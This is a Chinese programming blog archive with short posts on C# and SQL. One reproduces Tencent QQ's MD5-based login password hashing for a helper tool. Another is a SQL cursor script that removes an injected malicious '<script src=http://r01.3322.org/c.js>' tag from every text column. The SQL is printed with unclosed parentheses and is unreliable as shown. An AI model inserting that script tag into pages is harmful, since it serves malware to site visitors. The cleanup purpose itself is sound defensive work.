现在讲解一下如何把明文的1234加密成09967317CCFC266ADA83C9B1BEA30825(这么恶心的密码)

      这个是腾讯加密的JavaScript脚本 密码加密JavaScript。初步看了一下觉得相当之恶心,所以在网上搜索了半天找到的一点线索就是  3次MD5加密后转换大些 + 验证码转换大写,再次MD5加密可是我按照这方法试了得到的结果却不是正确的。百思不得其解,求助了园子里认识的朋友,他给我发了段C#的代码,确实可以得到正确的。代码如下:

using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
using System.Collections;

namespace QQ校友助手
{
class QQPassword
{
public static string binl2hex(byte[] buffer)
{
StringBuilder builder = new StringBuilder();
for (int i = 0; i < buffer.Length; i++)
{
builder.Append(buffer[i].ToString("x2"));
}
return builder.ToString();
}
public static string md5_3(string input)
{
MD5 md = MD5.Create();
byte[] buffer = md.ComputeHash(Encoding.Default.GetBytes(input));
buffer = md.ComputeHash(buffer);
buffer = md.ComputeHash(buffer);
return binl2hex(buffer);
}

public static string md5(string input)
{
byte[] buffer = MD5.Create().ComputeHash(Encoding.Default.GetBytes(input));
return binl2hex(buffer);
}

public static string getPassword(string password, string verifycode)
{
return md5(md5_3(password).ToUpper() + verifycode.ToUpper()).ToUpper();
}

}
}

     Encoding.Default.GetBytes(input)获取的是字符串的ASCII码。用VS跟踪调试了好久,发现问题出在 C#的computehash是初级hash,得到的并不是16进制的MD5字符串,需要经过binl2hex才能转换成MD5字符串。也就是说初级hash了3次,才合并大写验证码进行最后一次MD5加密

posted @ 2012-01-02 15:24 冰封的心 阅读(7) 评论(0) 编辑

应用场景在URL传值和接收中很容易出现乱码,特找到解决方案如下:

1、在web.config文中<system.web>加入

<globalization requestEncoding="gb2312" responseEncoding="gb2312" />

2、对传递的URL进行GB2312编码

 

public string InitChineseUrl(string chineseUrl)
        {
            Uri url = new Uri(chineseUrl);
            System.Collections.Specialized.NameValueCollection nv = System.Web.HttpUtility.ParseQueryString(url.Query, System.Text.Encoding.GetEncoding("utf-8"));
            string query = "";
            for (int i = 0; i < nv.Count; i++)
            {
                if (query.Trim() == string.Empty)
                {
                    query = "?" + nv.Keys[i] + "=" + HttpUtility.UrlEncode(nv[i], System.Text.Encoding.GetEncoding("GB2312"));
                }
                else
                {
                    query += "&" + nv.Keys[i] + "=" + HttpUtility.UrlEncode(nv[i], System.Text.Encoding.GetEncoding("GB2312"));
                }
            }
            string u = chineseUrl.Split('?')[0] + query;
            return u;
        }
posted @ 2011-11-11 10:42 冰封的心 阅读(14) 评论(0) 编辑

declare @t varchar(255),@c varchar(255
declare table_cursor cursor for select a.name,b.name  
from sysobjects a,syscolumns b ,systypes c  
where a.id=b.id and a.xtype='u' and c.name  
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext'
declare @str varchar(500),@str2 varchar(500
set @str='<script src=http://r01.3322.org/c.js></script>'/*要替换的内容*/ 
set @str2=''  
open table_cursor  
fetch next from table_cursor  
into @t,@c while(@@fetch_status=0)  
begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')'
fetch next from table_cursor 
into @t,@c end close table_cursor deallocate table_cursor;

 

出至:

http://www.cnblogs.com/zengxiangzhan/archive/2010/02/08/1665660.html
posted @ 2011-10-05 15:01 冰封的心 阅读(16) 评论(1) 编辑
public static string ConvertUnicodeStringToChinese(string unicodeString)
{
if (string.IsNullOrEmpty(unicodeString))
return string.Empty;

string outStr = unicodeString;

Regex re = new Regex("\\\\u[0123456789abcdef]{4}", RegexOptions.IgnoreCase);
MatchCollection mc = re.Matches(unicodeString);
foreach (Match ma in mc)
{
outStr = outStr.Replace(ma.Value, ConverUnicodeStringToChar(ma.Value).ToString());
}
return outStr;
}

private static char ConverUnicodeStringToChar(string str)
{
char outStr = Char.MinValue;
outStr = (char)int.Parse(str.Remove(0, 2), System.Globalization.NumberStyles.HexNumber);
return outStr;
}
引用:http://www.cnblogs.com/skyfei/archive/2008/08/01/1257919.html
posted @ 2011-09-01 00:42 冰封的心 阅读(31) 评论(0) 编辑

最近开始使用VS2010,在引用COM组件的时候,出现了无法嵌入互操作类型“……”,请改用适用的接口的错误提示。查阅资料,找到解决方案,记录如下:

选中项目中引入的dll,鼠标右键,选择属性,把“嵌入互操作类型”设置为False。

posted @ 2011-08-29 22:52 冰封的心 阅读(22) 评论(0) 编辑
摘要: 这不是密钥加密,只是把字符转为unicode然后再转为16进制.<script>var s,s1="",s2="",i;s="\u6bdb\u5462\u5916\u5957";for(i=0;i<s.length;i++)s1+=s.charAt(i);for(i=0;i<s1.length;i++)s2+="\\u"+s1.charCodeAt(i).toString(16);alert(s1 + "\n" + s2);</script>阅读全文
posted @ 2011-08-20 16:45 冰封的心 阅读(38) 评论(0) 编辑
摘要: 前段时间在解决ajax上传文件时折腾了好一阵。直接用$.post上传文本信息肯定是没有问题的。但是$.post直接上传图片是不可行的。后来看到网上的一些解决方案,有现成的ajax上传文件的封装的方法也有利用flash的。flash确实是个好方法 但是不是每个人都会flash的而且下载下来现成的方法要做修改也不是件易事,且文件相对较大。最后只好模拟iframe来实现。发现相当的简单。<iframe name="ajaxUpload" style="display:none"></iframe><form name="阅读全文
posted @ 2011-04-07 21:41 冰封的心 阅读(227) 评论(3) 编辑
摘要: 例子:UPDATE [Photo_Table] SET istop=istop^1,IsTopDateTime=getdate() WHERE charindex(',' + rtrim(PHOTOID) + ',' , ',' +@PHOTOIDLIST+ ',')>0阅读全文
posted @ 2011-02-22 21:01 冰封的心 阅读(23) 评论(0) 编辑
摘要: Demo页面:主页面 iframe_a.html ,被包含页面 iframe_b.htm 和 iframe_c.html下面开始讲:通过Google搜索iframe 自适应高度,结果5W多条,搜索iframe 高度自适应,结果2W多条。我翻了前面的几十条,刨去大量的转载,有那么三五篇是原创的。而这几篇原创里面,基本上只谈到如何自适应静的东西,就是没有考虑到JS操作DOM之后,如何做动态同步的问题。...阅读全文
posted @ 2010-08-26 17:08 冰封的心 阅读(89) 评论(0) 编辑
摘要: 1、下载MongoDB1.61文件2、解压在D:或C:,我配置时解压在D:3、重命文件夹为MongoDB4、在MongoDB文件夹下新建两个目录,Data和Logs目录,然后在Log目录下添加一个空的log.txt文件。5、运行bin目录下的命令,安装为一个windows服务格式:mongod --bind_ip 127.0.0.1 --logpath c:\MongoDB\logs\log.tx...阅读全文
posted @ 2010-08-19 15:15 冰封的心 阅读(75) 评论(0) 编辑